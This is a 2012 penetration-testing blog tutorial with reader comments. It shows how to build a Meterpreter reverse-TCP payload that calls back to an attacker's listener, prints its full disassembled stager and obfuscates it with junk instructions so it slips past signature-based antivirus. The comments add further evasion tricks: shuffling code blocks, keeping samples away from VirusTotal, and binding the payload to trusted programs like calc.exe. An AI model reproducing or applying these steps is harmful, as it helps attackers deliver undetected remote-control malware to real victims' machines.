Using Metasm To Avoid Antivirus Detection (Ghost Writing ASM)

Author: Royce Davis Posted In Penetration Testing Tutorials On: 2012/01/25 Comments: 38
Using Metasm To Avoid Antivirus Detection (Ghost Writing ASM)

It seems that more and more these days I find myself battling head to head against my client’s Antivirus Detection capabilities. Payloads I encoded to successfully bypass one solution get picked up by another. An executable that walked effortlessly past one AV this week gets stopped dead in its tracks by the very same software build at a different client the week later. This is a frustrating and constant problem for myself and many other Penetration Testers I am sure.

The topic of Antivirus Detection bypass is not a new one by any means. Currently there exist several methodologies that work well and I don’t think anyone (at least no one I know) can respectfully make a claim for a particular method being the De facto standard that works every time.

This article aims to provide some insight into one such method that I have become fond of and has proven quite successful in many of my recent Information Security Assessments. I first became aware of the technique by reading This Great Writeup from exploit-db. I’m not sure if the author is responsible for coining the term or not but they refer to this ancient wisdom and all of its magical powers under the alias “Ghost Writing” which I think sounds super cool!

Brief Introduction To Antivirus Detection Methodologies

If one hopes to successfully get around Antivirus software it’s probably a good idea to understand just how they determine that a malicious application is in fact “malicious”. For a detailed and probably much more accurate explanation of this phenomenon Click here to become Wikipedafied!!

The Cliff Notes Version:
Speaking quite generally, Antivirus Engines are capable of detecting malicious applications usually by one of two basic methodologies.
<– insert rant –>
Don’t tell the Antivirus vendors that though because they would have you believe that there are 10 completely different methods of detection in order to squeeze you somewhere into their 10-tier pricing matrix
<– end rant –>
Heuristic base analysis, in which case the AV engine monitors the behavior of the application and determines based on a predetermined set of criteria if the behavior can be classified as being malicious. This can happen in a sandboxed environment that is generated pre-execution time or dynamically inside a process’s virtual memory space while it is running. This is the current most effective and accurate way to guard against viruses and malware applicaitons. A good heuristic based engine constantly monitors the behavior of all applications and “teaches themselves” to become smarter on a regular basis.

The second and older method is called many names, we will use the term Static Binary Analysis. It doesn’t matter what you call it as long as you understand how it works. In SBA the AV engine looks at the binary data (the machine language instructions) of the application as it sits on the disk and checks for known sequences of malicious instructions, for example the instructions for opening up a TCP port and binding it to “cmd.exe”. These small pieces of code are called “signatures”. For signature detection to be successful your AV vendor needs to know every piece of malicious code out there and have accurate and up-to-date definitions for you on a daily basis. That’s even more difficult to do then it sounds. As luck would have it, most main stream AV vendors (even the ones claiming to be heuristic, shhhh..) still incorporate SBA in some way or another into their products. We can use the flaw in this logic to bypass AV detection by “Obfuscating” or “Ghost Writing” our binary data in such a way that it does not contain any known signatures. Now on to the fun stuff.

Building Our Malicious Executable

First we will build the malicious executable that we want to bypass Antivirus Detection using msfpayload, one of our very closest companions :)

$ ./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=443 R > raw_binary

In the above command you should change ‘192.168.1.100’ to whatever IP address you want your victim to connect back to.

The Metasm Ruby Library

Now that we have created a “raw” binary file we have to disassemble it into readable machine language or Assembly Code. To do this we will use the “metasm” ruby library that ships natively with the metasploit framework. In order for the library to function you must first copy the metasm.rb file and metasm directory into your system’s ruby installation path. On my system doing so looks like this

cd ~/tools/metasploit/lib/metasm
cp -a metasm.rb metasm /opt/local/lib/ruby1.9/site_ruby/1.9.1

Now we can disassemble the binary file we created earlier.

$ ruby ~/tools/metasploit/lib/metasm/samples/disassemble.rb raw_binary > asm_code.asm

That will create a file called asm_code.asm which should look something like this

asm_code.asm

entrypoint_0:
cld ; @0 fc
call sub_8fh ; @1 e889000000 x:sub_8fh
pushad ; @6 60
mov ebp, esp ; @7 89e5
xor edx, edx ; @9 31d2
mov edx, fs:[edx+30h] ; @0bh 648b5230 r4:segment_base_fs+30h
mov edx, [edx+0ch] ; @0fh 8b520c r4:unknown
mov edx, [edx+14h] ; @12h 8b5214 r4:unknown

// Xrefs: 8dh
loc_15h:
mov esi, [edx+28h] ; @15h 8b7228 r4:unknown
movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
xor edi, edi ; @1ch 31ff

// Xrefs: 2ch
loc_1eh:
xor eax, eax ; @1eh 31c0
lodsb ; @20h ac
cmp al, 61h ; @21h 3c61
jl loc_27h ; @23h 7c02 x:loc_27h

sub al, 20h ; @25h 2c20

// Xrefs: 23h
loc_27h:
ror edi, 0dh ; @27h c1cf0d
add edi, eax ; @2ah 01c7
loop loc_1eh ; @2ch e2f0 x:loc_1eh

push edx ; @2eh 52
push edi ; @2fh 57
mov edx, [edx+10h] ; @30h 8b5210 r4:unknown
mov eax, [edx+3ch] ; @33h 8b423c
add eax, edx ; @36h 01d0
mov eax, [eax+78h] ; @38h 8b4078
test eax, eax ; @3bh 85c0
jz loc_89h ; @3dh 744a x:loc_89h

add eax, edx ; @3fh 01d0
push eax ; @41h 50
mov ecx, [eax+18h] ; @42h 8b4818
mov ebx, [eax+20h] ; @45h 8b5820
add ebx, edx ; @48h 01d3

// Xrefs: 66h
loc_4ah:
jecxz loc_88h ; @4ah e33c x:loc_88h

dec ecx ; @4ch 49
mov esi, [ebx+4*ecx] ; @4dh 8b348b
add esi, edx ; @50h 01d6
xor edi, edi ; @52h 31ff

// Xrefs: 5eh
loc_54h:
xor eax, eax ; @54h 31c0
lodsb ; @56h ac
ror edi, 0dh ; @57h c1cf0d
add edi, eax ; @5ah 01c7
cmp al, ah ; @5ch 38e0
jnz loc_54h ; @5eh 75f4 x:loc_54h

add edi, [ebp-8] ; @60h 037df8
cmp edi, [ebp+24h] ; @63h 3b7d24
jnz loc_4ah ; @66h 75e2 x:loc_4ah

pop eax ; @68h 58
mov ebx, [eax+24h] ; @69h 8b5824
add ebx, edx ; @6ch 01d3
mov cx, [ebx+2*ecx] ; @6eh 668b0c4b
mov ebx, [eax+1ch] ; @72h 8b581c
add ebx, edx ; @75h 01d3
mov eax, [ebx+4*ecx] ; @77h 8b048b
add eax, edx ; @7ah 01d0
mov [esp+24h], eax ; @7ch 89442424
pop ebx ; @80h 5b
pop ebx ; @81h 5b
popad ; @82h 61
pop ecx ; @83h 59
pop edx ; @84h 5a
push ecx ; @85h 51
jmp eax ; @86h ffe0

// Xrefs: 4ah
loc_88h:
pop eax ; @88h 58

// Xrefs: 3dh
loc_89h:
pop edi ; @89h 5f
pop edx ; @8ah 5a
mov edx, [edx] ; @8bh 8b12 r4:unknown
jmp loc_15h ; @8dh eb86 x:loc_15h

// Xrefs: 1
sub_8fh:
// function binding: ebp -> dword ptr [esp], esp -> esp-10h
// function ends at 0a0h
pop ebp ; @8fh 5d
push 3233h ; @90h 6833320000
push 5f327377h ; @95h 687773325f
push esp ; @9ah 54
push 726774ch ; @9bh 684c772607
call ebp ; @0a0h ffd5 endsub sub_8fh noreturn
db 0b8h, 90h, 1, 0, 0, 29h, 0c4h, "TPh)", 80h, 6bh, 0 ; @0a2h
db 0ffh, 0d5h, "PPPP@P@Ph", 0eah, 0fh, 0dfh, 0e0h, 0ffh ; @0b0h
db 0d5h, 97h, 6ah, 5, 68h, 0c0h, 0a8h, 1, 64h, 68h, 2, 0, 1, 0bbh, 89h, 0e6h ; @0c0h
db 6ah, 10h, "VWh", 99h, 0a5h, 74h, 61h, 0ffh, 0d5h, 85h, 0c0h, 74h, 0ch, 0ffh ; @0d0h
db 4eh, 8, 75h, 0ech, 68h, 0f0h, 0b5h, 0a2h, 56h, 0ffh, 0d5h, 6ah, 0, 6ah, 4, 56h ; @0e0h
db 57h, 68h, 2, 0d9h, 0c8h, 5fh, 0ffh, 0d5h, 8bh, "6j@h", 0, 10h, 0 ; @0f0h
db 0, 56h, 6ah, 0, 68h, 58h, 0a4h, 53h, 0e5h, 0ffh, 0d5h, 93h, 53h, 6ah, 0, 56h ; @100h
db "SWh", 2, 0d9h, 0c8h, 5fh, 0ffh, 0d5h, 1, 0c3h, 29h, 0c6h, 85h, 0f6h, 75h ; @110h
db 0ech, 0c3h ; @120h

Manual Obfuscation

Right about now would be a perfect time to reference one of my favorite begging Assembly Language tutorial videos:
http://www.securitytube.net/groups?operation=view&groupId=5

Now that we have some ASM know-how we can start getting our hand s dirty with some Ghost Writing. Start adding random ASM instructions in the middle of the various code sections. I know, it would be much more effective to first determine precisely which bytes are flagging your target AV but that’s really another article in it’s self. For now, we’ll continue with the “spray and pray” methodology. You can add anything you want so long as you don’t break the functionality of the application. I find that simply pushing registers onto the stack and then popping them back off sometimes will do the trick. Also just before a XOR statement (which is often used to set the value of a register to zero) you can add a bunch of random statements to increment and decrement the register, move values of other registers into it. Anything you do won’t matter because eventually you will be changing the value to zero. So using the above example we can change the section beginning with ‘// Xrefs: 8dh’

From This:

// Xrefs: 8dh
loc_15h:
mov esi, [edx+28h] ; @15h 8b7228 r4:unknown
movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
xor edi, edi ; @1ch 31ff

To This:

// Xrefs: 8dh
loc_15h:
mov esi, [edx+28h] ; @15h 8b7228 r4:unknown
movzx ecx, word ptr [edx+26h] ; @18h 0fb74a26 r2:unknown
mov edi, ecx ; Move the contents of the ECX register into the EDI Register
push edi     ; Push the EDI register onto the current stack frame
pop edi       ; Pop it back off
mov edi, ecx ; Mov ECX back into edi
xor ecx, ecx ; Zero out the contents of the ECX register
mov ecx, edi ; Mov EDI back into ECX
xor edi, edi ; @1ch 31ff

So here we turned 3 lines of code into 9 however lines 3-8 result in the same values for ECX and EDI as the original code. This is essentially what it means to obfuscate code.

Once you’ve finished mangling your ASM code you need to add the following two lines to the top of the file for it to build correctly.

.section '.text' rwx
.entrypoint

Someone in the #metasploit IRC was kind enough to point that out to me, Im sorry I can’t remember who it was because so many smart people in the #metasploit room help me out on a regular basis. You know who you are, and thank you!

The final step is to use metasm to build the executable and package it into a format that Windows can run.

$ ruby ~/tools/metasploit/lib/metasm/samples/peencode.rb asm_code.asm -o coolstuff.exe

Run a file check on coolstuff.exe to verify that it was built correctly. You should see something like this when finished.

$ file coolstuff.exe
coolstuff.exe: MS-DOS executable, MZ for MS-DOS

If everything went according to plan, you should be left with a random enough binary file that doesn’t match up with any of your target signatures and is free to pwn systems free from Antivirus Detection. That’s all for now, hope you enjoyed reading. Hack responsibly!

Share this article

Facebooktwittergoogle_plusredditpinterestlinkedinmailFacebooktwittergoogle_plusredditpinterestlinkedinmail
38 Comments
  • Hi,
    did anyone get i work on kali linux 1.0.9 ?
    thanks

  • If you already have a PE that *is* a raw binary file. You should be able to disassemble it using metasm or another disassembler. Obfuscate the code to your liking then reassemble.

  • Hi,

    The problem for me now is that windows defender AND avast detects a signature in the data at the end of the stager.
    anyone knows a quick and dirty way to obfyscate this data ? I’m thinking of some kind of basic encryption (xor, rol), but really my assembly language knowledge is too old to do this on my own now :(

    thanks

    • If you know where the signature is. Sounds to me like you have identified it’s in the .data section. Then you should be able to disassemble your executable and simply edit the section triggering the alert. As long as you alter the code the signature should go away.

  • Hey man,

    I already have a PE exe file that I wish to encrypt. Your tut seems valid only for raw binary (which I’m not sure I understand anyway), I don’t have the raw binary to continue your tutorial with. Any hints?

  • I’ve had this process working beautifully in the past however now i am getting the following error

    disassemble.rb:7:in `require’: no such file to load — metasm/decode (LoadError)

    I am assuming I am missing a GEM?? Any help provided would be awesome!!

  • hey very nice tutorial the exe file is 1kb. When i run the file nothing happens ? I did not get a connection to msfconsole. The same problem when i run the file in backtrack 5 with wine.

    any idea why ?

  • Hi! Great article, very interesting. I have been messing with Metasploit, Im new to all of this. Is this what msfencode does to the code? I tried to run it several times on a payload, with several different options, but mcafee kept finding it. I was thinking it might be a heuristic analysis, but I know nothing of how a program like mcafee works. Also, can you explain what using .exe templates with, for example, msfencode does? I saw an example somewhere and tried that too, but it didnt work. I know this is a lot of questions, but since I found your excellent article, your my victim for the day :)

  • Hello I was doing a search on google on how to bypass AV’s with metasploit exploits when I found your site =) and also found this vulnerability with one of our clients CVE-2011-0923 and modify the exploit according to our needs and also modify “windows/meterpreter/reverse_tcp” according to your instructions and works like a charm … (thanks for the tip) but I still not found some that help me to make work exploits from metasploit on my pentest engagements. So I wonder if you can help me or point me to some websites and/or papers(books) that can help me in this quest.

    Thanks in advance!!

  • Excellent work/post. Totally defeats my AV :)

  • is it possible to use this method to make Metasploit’s ms08_067_netapi FUD?

  • There is some better way to improve your obfuscation.
    You can do some control flow analysis, and them insert random sequence of jump next_label, label, and randomize the blocks.

    Some example :

    push ebp
    mov ebp, esp
    instr1
    instr2
    instr3
    instr4
    instr5
    instr6
    instr7
    instr8
    ret

    goes to

    push ebp
    mov ebp, esp
    instr1
    instr2
    jmp i3
    i3:
    instr3
    instr4
    instr5
    jmp i6
    i6:
    instr6
    instr7
    jmp i8
    i8:
    instr8
    ret

    And then, randomize the blocks

    push ebp
    mov ebp, esp
    instr1
    instr2
    jmp i3
    i8:
    instr8
    ret
    i6:
    instr6
    instr7
    jmp i8
    i3:
    instr3
    instr4
    instr5
    jmp i6

    This can easily done by parsing the assembly. Made a script to do this which works with Visual Studio compiler and gcc assembly dumps.

  • WOW…

    1/35 99% FUD

    Only AVIRA caught it.

    thnx

    • You should NEVER upload your binaries you are testing to VirusTotal or any website similar. These websites work with the AV companies, and by uploading them you are just giving the AV companies a faster time to respond to your new techniques of AV evasion. Rather, you should understand what AV your target is running, Install and Update that version in a Virtual Machine. Then remove internet access from the Virtual Machine and scan your binaries to test it.

      • I’ve used different one (not VirusTotal).
        There are another “hidden” labs with all of them updated and installed.

        ;)

  • Excellent article!
    I was curious as to what methodology you used to determine where the AV sig would be found in the asm code?

  • Hi,

    does anyone know where to find more information about the meterpreter/reverse_tcp payload itself? I would like to understand the disassembly, but I can only find documentation about the “big picture” and what meterpreter [payloads] do in general.

    Thanks!
    Erik

  • BTW, with this technique i was hable to bypass most AV’s, but not micro$oft security essencials :(

    that’s why i’m searching for a way to join a compiled .exe with peencode.rb to another .exe, like notepad.exe or calc.exe

    If you have any tip, i’m be very glad :)
    thanks.

    • Actually I know for a fact that you can bypass Microsoft Security Essentials with this method. Perhaps you need to obfuscate more. :)

      • That’s great, i also tried on to obfuscate more, but only on the next “xor”.
        On the ref, // Xrefs: 2ch ….before the “xor” i did some “add” and “sub” but the microsoft security essentials “got it” …:(

        Can you give me a hint? did you used the same technique or something else… Can i repeat your “trick” on the //Xrefs: 66h ? (before the xor edi, edi) is that it?

        Thanks, BTW the .exe are just 1K it’s really awesome man :D

    • For MS Essential Security (and all other sandboxed AV), check this out:
      http://funoverip.net/2012/06/antivirus-sandbox-evasion-part2/

  • Hi man, great article.
    Can you tell me what the code:
    .section ‘.text’ rwx
    .entrypoint

    does?
    I’m using this technique to try some stuff, but when i use another compiler, it gives errors.

    Thanks

    • Hello pipas. Thank you for your comment. I will try to address your question and hopefully someone will correct me if I need to be corrected.

      The first of those two lines simply tells the assembler what access permissions to assing the .text section of the binary executable. The next line does exactly as it suggests and sets the programs entry point, which is where execution will first take place once the application is launched.

      I’m glad to here you are exploring this topic on your own. I reccomend that you try using the metasm library as this guide was written explicitly with its functionality in mind. Also, it might be worth your time to check out the assembly language primer linked in this article as it does a pretty good job explaining the various code sections .

      Thanks for reading!

      • Thanks r3dy, i’m using the same librarys of “metasm” that you use for my tests, i only asked this because i was curious and tried to compile it on another compiler.

        Thanks for the tips, i’ve downloaded the Assembly videos and i’m going to watch.

        Let me ask another question, do you know how to join a compiled .exe to another, like calc.exe. Using these librarys of metasm?
        I have done some .exe files using your technique and now i wish to join them to “known” .exe apps, to see if it works.

        thanks

  • I found this site with statistics regarding different built-in Metasploit encoders/obufscators: http://technology-flow.com/articles/metasploit-encoding-antivirus-detection/

  • Well this process is usually known as code obfuscation, more specifically as junkcode, and is correctly used (and obviously automated) in reverse engineering tools, software protection products (aka packers) and malwares.

    There’s a lot of documentation out there made by computer scientists or more generally hacker-minded people, just search for it.

    • Well this process is usually known as code obfuscation

      I believe I covered that in the article

      There’s a lot of documentation out there made by computer scientists or more generally hacker-minded people, just search for it.

      I believe I covered that too. Still, thank you for your contribution.

      • oh sorry, didn’t you understood i was saying you were bullshiting for fame about a well known and well documented too code obfuscation technique ? Meh, i’ll need to be more explicit the next time.

        thanks for the “ghost writing” term btw, my fapfapometer registered a new record.

  • If you copy metasm to your system lib directory you will prevent it from being updated by commits to the Metasploit tree.. Instead, simply run the disassemble.rb like this:

    box:msf-git$ ruby -Ilib lib/metasm/samples/disassemble.rb test.exe > test.asm
    box:msf-git$

    • Jduck,

      Excellent observation, I hadn’t thought of that. Would you say that creating a symbolic link would also be an acceptable solution?

  • @sk

    Thanks for commenting. I agree whole hartedly about the automation. Hopefully that will become a part #2 post very soon.

  • Hey, good article. Makes me want to go mess around with it. It’d be cool if you automated this process; for example, search the disasm and add a bunch of random inc/dec instructions prior to any/all xors. I’m surprised the AV doesn’t catch on though – but then again, signature based detection is fail, for the most part.

    Keep it up and see you on #offsec! heh!

  • Leave a Reply

    Your email address will not be published. Required fields are marked *

    Share This

    Recent Posts

    Latest Course

    Penetration Testing

    Categories

    Metasploit

    Web Application Hacking


    Copyright 2018

    css.php